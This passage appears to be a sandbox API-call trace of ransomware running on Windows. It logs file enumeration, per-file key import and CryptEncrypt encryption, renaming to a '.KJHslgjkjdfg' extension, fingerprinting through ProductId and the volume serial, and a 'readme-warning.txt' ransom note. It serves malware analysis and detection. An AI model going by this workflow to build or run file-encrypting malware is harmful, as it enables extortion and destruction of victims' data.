ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ENFR", cAlternateFileName="")) returned 1 [0179.091] GetProcessHeap () returned 0x990000 [0179.091] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8a) returned 0x9b0940 [0179.091] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0179.091] GetProcessHeap () returned 0x990000 [0179.091] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0179.091] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0179.091] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 1 [0179.091] GetProcessHeap () returned 0x990000 [0179.091] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x28c) returned 0x9b1eb0 [0179.091] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0179.092] GetProcessHeap () returned 0x990000 [0179.092] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0179.092] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0179.092] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0179.092] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x6, lpOverlapped=0x0) returned 1 [0179.094] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0179.094] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0179.094] GetProcessHeap () returned 0x990000 [0179.094] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0179.095] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0179.095] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.095] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0179.095] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0179.095] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0179.095] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0179.095] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0179.095] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0179.095] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0179.095] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0179.095] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.095] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xe64da, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xe64da, lpOverlapped=0x0) returned 1 [0179.114] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xe64e0, dwBufLen=0xe64e0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xe64e0) returned 1 [0179.125] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.125] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xe64e0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xe64e0, lpOverlapped=0x0) returned 1 [0179.128] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.128] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xe65b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.129] SetEndOfFile (hFile=0x12c) returned 1 [0179.134] GetProcessHeap () returned 0x990000 [0179.134] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0179.134] GetProcessHeap () returned 0x990000 [0179.134] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0179.134] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its.kjhslgjkjdfg")) returned 1 [0179.135] CloseHandle (hObject=0x12c) returned 1 [0179.135] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 0 [0179.135] GetProcessHeap () returned 0x990000 [0179.135] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0179.135] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0179.135] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0179.135] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.135] GetProcessHeap () returned 0x990000 [0179.135] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0179.136] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0179.136] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0179.136] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.136] GetProcessHeap () returned 0x990000 [0179.136] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9fd9f0 [0179.136] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0179.136] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9fd9f0, pdwDataLen=0x29dee20 | out: pbData=0x9fd9f0, pdwDataLen=0x29dee20) returned 1 [0179.136] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.136] GetProcessHeap () returned 0x990000 [0179.136] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0179.136] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0179.136] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0179.136] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.136] GetProcessHeap () returned 0x990000 [0179.136] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0179.136] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0179.136] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0179.136] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.136] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0179.137] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0179.137] RegCloseKey (hKey=0x12c) returned 0x0 [0179.137] GetProcessHeap () returned 0x990000 [0179.137] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0179.137] GetProcessHeap () returned 0x990000 [0179.137] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0179.137] GetProcessHeap () returned 0x990000 [0179.137] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0179.137] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0179.137] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0179.137] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.137] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0179.137] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0179.138] GetProcessHeap () returned 0x990000 [0179.138] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0179.138] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0179.138] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0179.138] GetProcessHeap () returned 0x990000 [0179.138] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0179.138] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\readme-warning.txt") returned 79 [0179.138] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0179.139] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0179.140] CloseHandle (hObject=0x12c) returned 1 [0179.140] GetProcessHeap () returned 0x990000 [0179.140] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fd9f0 | out: hHeap=0x990000) returned 1 [0179.140] GetProcessHeap () returned 0x990000 [0179.141] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0179.141] GetProcessHeap () returned 0x990000 [0179.141] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0179.141] GetProcessHeap () returned 0x990000 [0179.141] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0179.141] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0179.141] GetProcessHeap () returned 0x990000 [0179.141] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0179.141] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ESEN", cAlternateFileName="")) returned 1 [0179.141] GetProcessHeap () returned 0x990000 [0179.141] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8a) returned 0x9b0940 [0179.141] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0179.141] GetProcessHeap () returned 0x990000 [0179.142] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0179.142] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0179.142] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9890c900, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x54a7f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9890c900, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1ESEN.DLL", cAlternateFileName="")) returned 1 [0179.142] GetProcessHeap () returned 0x990000 [0179.142] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x28c) returned 0x9b1eb0 [0179.142] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22595900, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22595900, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xff7f2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1ESEN.ITS", cAlternateFileName="")) returned 1 [0179.142] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0179.142] GetProcessHeap () returned 0x990000 [0179.142] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0179.142] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0179.142] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0179.142] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xe, lpOverlapped=0x0) returned 1 [0179.145] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0179.145] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0179.145] GetProcessHeap () returned 0x990000 [0179.145] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0179.145] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0179.145] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.146] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0179.146] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0179.146] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0179.146] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0179.146] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0179.146] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0179.146] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0179.146] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0179.146] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.146] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xff7f2, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xff7f2, lpOverlapped=0x0) returned 1 [0179.166] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xff800, dwBufLen=0xff800 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xff800) returned 1 [0179.179] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.179] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xff800, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xff800, lpOverlapped=0x0) returned 1 [0179.183] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.183] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xff8d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.183] SetEndOfFile (hFile=0x12c) returned 1 [0179.187] GetProcessHeap () returned 0x990000 [0179.187] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0179.187] GetProcessHeap () returned 0x990000 [0179.187] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0179.187] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its.kjhslgjkjdfg")) returned 1 [0179.188] CloseHandle (hObject=0x12c) returned 1 [0179.188] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 1 [0179.188] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0179.189] GetProcessHeap () returned 0x990000 [0179.189] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0179.189] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0179.189] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0179.189] 